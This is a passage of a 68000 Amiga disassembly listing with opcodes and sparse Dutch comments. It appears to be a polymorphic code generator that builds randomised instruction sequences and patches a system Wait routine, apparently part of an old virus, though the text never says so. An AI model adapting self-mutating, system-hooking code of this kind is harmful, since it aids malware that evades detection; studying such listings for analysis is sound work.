  583.     SUB.L    -(A2),D5        ;4FA: 9AA2
  584.     CLR.L    -(A2)            ;4FC: 42A2
  585.     SUBQ.L    #8,A2            ;4FE: 518A
  586.     RTS                ;500: 4E75
  587. LAB_0037:
  588.     MOVE.B    EXT_0005,D0        ;502: 103900DFF007
  589.     EOR.B    D0,D7            ;508: B107
  590.     ROL    #7,D7            ;50A: EF5F
  591.     MOVE    D7,D0            ;50C: 3007
  592.     RTS                ;50E: 4E75
  593. LAB_0038:
  594.     BSR.S    LAB_0037        ;510: 61F0
  595.     LSR    #8,D0            ;512: E048
  596.     RTS                ;514: 4E75
  597. LAB_0039:
  598.     MOVEM.L    D0-D1/D3-D4/D6-D7/A0-A6,-(A7) ;516: 48E7DBFE    D2 trashed????, D5 trashed????
  599.     BSR.S    LAB_0037        ;51A: 61E6
  600.     MOVE    D0,-1752(A0)        ;51C: 3140F928
  601.     MOVE.L    D0,-(A7)        ;520: 2F00
  602.     JSR    _LVOForbid(A6)        ;522: 4EAEFF7C
  603.     BSR.S    LAB_0038        ;526: 61E8
  604.     LSR.B    #6,D0            ;528: EC08
  605.     MOVE    D0,D4            ;52A: 3800
  606. LAB_003A:
  607.     MOVE    D5,D1            ;52C: 3205
  608.     LSR    #8,D1            ;52E: E049
  609.     BSR.S    LAB_003B        ;530: 6108
  610.     DC.W    $FB74            ;532
  611.     DC.W    $0009            ;534
  612.     DC.W    $000B            ;536
  613.     DC.W    $0009            ;538
  614. LAB_003B:
  615.     MOVEQ    #3,D2            ;53A: 7403
  616.     MOVEA.L    (A7),A3            ;53C: 2657
  617.     MOVEA.L    (A7)+,A2        ;53E: 245F
  618. LAB_003C:
  619.     ADDA    (A2)+,A3        ;540: D6DA
  620.     MOVE.B    D1,(A3)+        ;542: 16C1
  621.     MOVE.B    D5,(A3)+        ;544: 16C5
  622.     DBF    D2,LAB_003C        ;546: 51CAFFF8
  623.     LINK    A2,#-138        ;54A: 4E52FF76
  624.     MOVEA.L    A7,A5            ;54E: 2A4F
  625.     LEA    18(A5),A4        ;550: 49ED0012
  626. LAB_003D:
  627.     MOVEQ    #-64,D1            ;554: 72C0
  628.     MOVEQ    #5,D3            ;556: 7605
  629. LAB_003E:
  630.     BSR.S    LAB_0037        ;558: 61A8
  631.     LSR.B    #5,D0            ;55A: EA08
  632.     BSET    D0,D1            ;55C: 01C1
  633.     BNE.S    LAB_003E        ;55E: 66F8
  634.     MOVE.B    D0,-(A2)        ;560: 1500
  635.     DBF    D3,LAB_003E        ;562: 51CBFFF4
  636.     ADDQ    #1,D2            ;566: 5242
  637.     BEQ.S    LAB_003D        ;568: 67EA
  638.     CLR.L    -8(A2)            ;56A: 42AAFFF8
  639.     MOVEQ    #0,D6            ;56E: 7C00
  640. LAB_003F:
  641.     BSR.S    LAB_0037        ;570: 6190
  642.     MOVE    D0,D2            ;572: 3400
  643.     ASR    #2,D2            ;574: E442
  644.     BSR.S    LAB_0038        ;576: 6198
  645.     LSR.B    #4,D0            ;578: E808
  646.     MOVE    D0,D1            ;57A: 3200
  647.     SUBQ    #8,D1            ;57C: 5141
  648.     BGT.S    LAB_003F        ;57E: 6EF0
  649.     LEA    LAB_0003(PC),A3        ;580: 47FAFB4E
  650.     MOVE.B    8(A3,D1.W),D1        ;584: 12331008
  651.     EXT    D1            ;588: 4881
  652.     ADDA    D1,A3            ;58A: D6C1
  653.     MOVE.B    D6,D3            ;58C: 1606
  654.     AND.B    (A3),D3            ;58E: C613
  655.     CMP.B    (A3)+,D3        ;590: B61B
  656.     BNE.S    LAB_003F        ;592: 66DC
  657.     BSET    D0,D6            ;594: 01C6
  658.     BNE.S    LAB_003F        ;596: 66D8
  659.     BSR    LAB_0038        ;598: 6100FF76
  660.     LSR.B    #6,D0            ;59C: EC08
  661.     MOVE.B    0(A3,D0.W),D0        ;59E: 10330000
  662.     ADDA    D0,A3            ;5A2: D6C0
  663.     BSR.S    LAB_0044        ;5A4: 616C
  664.     MOVE    D6,D0            ;5A6: 3006
  665.     LSL    #7,D0            ;5A8: EF48
  666.     BPL.S    LAB_003F        ;5AA: 6AC4
  667.     MOVEA.L    -(A2),A3        ;5AC: 2662
  668.     MOVE.L    A4,D0            ;5AE: 200C
  669.     SUB.L    A3,D0            ;5B0: 908B
  670.     ADD    D0,(A3)            ;5B2: D153
  671.     MOVE.L    A4,D1            ;5B4: 220C
  672.     SUB.L    A5,D1            ;5B6: 928D
  673.     ADDA    D1,A1            ;5B8: D2C1
  674.     MOVEA.L    A1,A3            ;5BA: 2649
  675.     MOVE.L    D5,D6            ;5BC: 2C05
  676.     ADD    D1,D5            ;5BE: DA41
  677. LAB_0040:
  678.     MOVE.B    -(A0),D0        ;5C0: 1020
  679.     MOVEQ    #2,D3            ;5C2: 7602
  680. LAB_0041:
  681.     MOVE    -(A5),D2        ;5C4: 3425
  682.     MOVEA.L    -(A5),A2        ;5C6: 2465
  683.     JSR    (A2)            ;5C8: 4E92
  684.     DBF    D3,LAB_0041        ;5CA: 51CBFFF8
  685.     LEA    18(A5),A5        ;5CE: 4BED0012
  686.     MOVE.B    D0,-(A3)        ;5D2: 1700
  687.     DBF    D6,LAB_0040        ;5D4: 51CEFFEA
  688.     SUBQ    #1,D1            ;5D8: 5341
  689. LAB_0042:
  690.     MOVE.B    -(A4),-(A3)        ;5DA: 1724
  691.     DBF    D1,LAB_0042        ;5DC: 51C9FFFC
  692.     MOVEA.L    A1,A0            ;5E0: 2049
  693.     LEA    142(A7),A7        ;5E2: 4FEF008E
  694.     DBF    D4,LAB_003A        ;5E6: 51CCFF44
  695.     JSR    _LVOPermit(A6)        ;5EA: 4EAEFF76
  696.     ADDQ    #7,D5            ;5EE: 5E45
  697.     LSR    #2,D5            ;5F0: E44D
  698.     BCS.S    LAB_0043        ;5F2: 6502
  699.     ADDQ    #2,A1            ;5F4: 5449
  700. LAB_0043:
  701.     LEA    (EXT_0002).W,A2        ;5F6: 45F803F2
  702.     MOVE.L    A2,(A1)            ;5FA: 228A
  703.     MOVE.L    PatchWait(PC),-(A3)    ;5FC: 273AFB90
  704.     EXT.L    D5            ;600: 48C5
  705.     MOVE.L    D5,-(A3)        ;602: 2705
  706.     SUBQ    #8,A2            ;604: 514A
  707.     SUBQ    #1,A2            ;606: 534A
  708.     MOVE.L    A2,-(A3)        ;608: 270A
  709.     MOVE.L    (A7)+,D2        ;60A: 241F
  710.     MOVEM.L    (A7)+,D0-D1/D3-D4/D6-D7/A0-A6 ;60C: 4CDF7FDB    haal troep terug zonder D2 en D5
  711.     RTS                ;610: 4E75
  712. LAB_0044:
  713.     MOVE.B    (A3)+,D0        ;612: 101B
  714.     EXT    D0            ;614: 4880
  715.     MOVE.B    LAB_0049(PC,D0.W),D0    ;616: 103B005E
  716.     EXT    D0            ;61A: 4880
  717.     JSR    LAB_0049(PC,D0.W)    ;61C: 4EBB0058
  718.     BRA.S    LAB_0044        ;620: 60F0
  719.     MOVE.L    -8(A2),D0        ;622: 202AFFF8
  720.     SUB.L    A4,D0            ;626: 908C
  721.     MOVE    D0,(A4)+        ;628: 38C0
  722.     BRA.S    LAB_0047        ;62A: 602A
  723. LAB_0045:
  724.     ANDI    #$0007,D2        ;62C: 02420007
  725.     ADDQ    #1,D2            ;630: 5242
  726.     RTS                ;632: 4E75
  727.     MOVEQ    #0,D0            ;634: 7000
  728.     BRA.S    LAB_0046        ;636: 600C
  729.     BSR.S    LAB_0045        ;638: 61F2
  730.     MOVE    D2,D0            ;63A: 3002
  731.     NEG    D0            ;63C: 4440
  732.     BRA.S    LAB_0046        ;63E: 6004
  733.     BSR.S    LAB_0045        ;640: 61EA
  734.     MOVE    D2,D0            ;642: 3002
  735. LAB_0046:
  736.     MOVE.L    A4,-4(A2)        ;644: 254CFFFC
  737.     MOVE    D0,(A4)+        ;648: 38C0
  738.     RTS                ;64A: 4E75
  739.     BSR.S    LAB_004A        ;64C: 6168
  740.     LSL.B    #4,D1            ;64E: E909
  741.     MOVE.B    D1,(A4)+        ;650: 18C1
  742.     MOVE.B    D2,(A4)            ;652: 1882
  743.     NEG.B    (A4)+            ;654: 441C
  744. LAB_0047:
  745.     ADDQ.L    #4,A7            ;656: 588F
  746.     RTS                ;658: 4E75
  747.     BSR.S    LAB_004A        ;65A: 615A
  748.     ROR    #7,D1            ;65C: EE59
  749. LAB_0048:
  750.     BSR.S    LAB_004B        ;65E: 6160
  751.     OR    D0,D1            ;660: 8240
  752.     MOVE    D1,(A4)+        ;662: 38C1
  753.     RTS                ;664: 4E75
  754.     BSR.S    LAB_004A        ;666: 614E
  755.     BRA.S    LAB_0048        ;668: 60F4
  756.     BSR.S    LAB_004A        ;66A: 614A
  757.     ROR    #7,D1            ;66C: EE59
  758.     MOVE    D1,D0            ;66E: 3001
  759.     BSR.S    LAB_004A        ;670: 6144
  760.     OR    D0,D1            ;672: 8240
  761.     BRA.S    LAB_0048        ;674: 60E8
  762. LAB_0049:
  763.     ASR    -(A4)            ;676: E0E4
  764.     DC.W    $F0F4            ;678
  765.     MOVE.B    (A4),D4            ;67A: 1814
  766.     MOVE.L    7894(A2),D1        ;67C: 222A1ED6
  767.     DC.W    $ACB6            ;680
  768.     MOVEA    (A2),A0            ;682: 3052
  769.     CMPA    A2,A7            ;684: BECA
  770.     AND    (A6)+,D1        ;686: C25E
  771.     MOVEQ    #0,D1            ;688: 7200
  772.     MOVE.B    (A3)+,(A4)+        ;68A: 18DB
  773.     MOVE.B    (A3)+,(A4)+        ;68C: 18DB
  774.     MOVE.B    (A3)+,(A4)+        ;68E: 18DB
  775.     MOVE.B    (A3)+,(A4)+        ;690: 18DB
  776.     RTS                ;692: 4E75
  777.     ASR.B    #1,D2            ;694: E202
  778.     EXT    D2            ;696: 4882
  779.     BSR.S    LAB_004B        ;698: 6126
  780.     ADD    D2,D0            ;69A: D042
  781.     MOVE    D0,(A4)+        ;69C: 38C0
  782.     RTS                ;69E: 4E75
  783.     MOVE    D2,(A4)            ;6A0: 3882
  784.     NEG    (A4)+            ;6A2: 445C
  785.     BRA.S    LAB_0047        ;6A4: 60B0
  786.     BSR.S    LAB_004A        ;6A6: 610E
  787.     BSR.S    LAB_004B        ;6A8: 6116
  788.     MOVE    D0,(A4)            ;6AA: 3880
  789.     LSL    #5,D2            ;6AC: EB4A
  790.     LSR    #4,D2            ;6AE: E84A
  791.     OR.B    D2,(A4)+        ;6B0: 851C
  792.     OR.B    D1,(A4)+        ;6B2: 831C
  793.     BRA.S    LAB_0047        ;6B4: 60A0
  794. LAB_004A:
  795.     MOVEQ    #0,D1            ;6B6: 7200
  796.     MOVE.B    (A3)+,D1        ;6B8: 121B
  797.     MOVE.B    0(A2,D1.W),D1        ;6BA: 12321000
  798.     RTS                ;6BE: 4E75
  799. LAB_004B:
  800.     MOVE.B    (A3)+,D0        ;6C0: 101B
  801.     LSL    #8,D0            ;6C2: E148
  802.     MOVE.B    (A3)+,D0        ;6C4: 101B
  803.     RTS                ;6C6: 4E75
  804. LAB_004C:
  805.     TST.L    -8(A2)            ;6C8: 4AAAFFF8
  806.     BNE.S    LAB_004D        ;6CC: 6604
  807.     MOVE.L    A4,-8(A2)        ;6CE: 254CFFF8
  808. LAB_004D:
  809.     RTS                ;6D2: 4E75
  810.     BSR.S    LAB_004C        ;6D4: 61F2
  811.     MOVE.B    (A3)+,D0        ;6D6: 101B
  812.     MOVE.B    D0,(A4)+        ;6D8: 18C0
  813.     MOVE.B    9(A2),(A4)        ;6DA: 18AA0009
  814.     BSET    #4,(A4)+        ;6DE: 08DC0004
  815. LAB_004E:
  816.     NOT.B    D2            ;6E2: 4602
  817.     BEQ.S    LAB_004E        ;6E4: 67FC
  818.     MOVE    D2,(A4)+        ;6E6: 38C2
  819.     MOVE.B    (A3)+,D1        ;6E8: 121B
  820.     EXT    D1            ;6EA: 4881
  821.     PEA    0(A3,D1.W)        ;6EC: 48731000
  822.     MOVE.L    (A7)+,(A5)+        ;6F0: 2ADF
  823.     MOVE    D2,(A5)+        ;6F2: 3AC2
  824.     END
  825.